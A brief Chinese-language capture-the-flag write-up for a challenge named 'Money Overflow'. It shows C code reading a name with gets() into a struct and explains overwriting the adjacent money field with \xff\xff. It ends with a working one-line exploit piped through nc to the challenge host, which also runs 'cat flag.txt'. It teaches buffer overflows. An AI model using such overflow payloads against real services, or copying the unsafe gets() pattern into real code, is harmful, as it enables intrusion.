Money Overflow

Solution

這題就是簡單的 stack overflow 題，使用者的資訊會被存在一個 struct 裡面：

1
struct {
2
  int id;
3
  char name[20];
4
  unsigned short money;
5
} customer;

而程式一開始就用不安全的函式讀，取使用者的輸入到 customer.name。這就給了我們利用的機會，只要填滿 name 後，就可以覆蓋到 money 的值。

1
customer.id = 1;
2
customer.money = 100;
3
printf("Enter your name: ");
4
gets(customer.name);

而題目要求要 65535 才能拿到 shell，因此只要蓋 \xff\xff 就可以了。

echo -e 'AAAAAAAAAAAAAAAAAAAA\xff\xff\n5\ncat flag.txt' | nc chal.ctf.scint.org 10001